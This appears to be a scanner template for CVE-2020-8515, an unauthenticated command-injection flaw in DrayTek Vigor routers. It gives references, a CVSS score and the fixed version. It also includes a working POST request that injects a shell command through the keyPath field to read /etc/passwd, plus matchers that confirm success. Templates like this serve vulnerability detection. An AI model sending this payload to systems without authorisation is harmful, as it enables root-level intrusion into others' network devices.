41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2020-8515
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info:
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name: DrayTek - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
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reference:
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- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
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- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-8515
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- https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
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remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-8515
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cwe-id: CWE-78
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tags: cve,cve2020,rce,kev
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requests:
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- raw:
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- |
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POST /cgi-bin/mainfunction.cgi HTTP/1.1
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Host: {{Hostname}}
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action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/04/29
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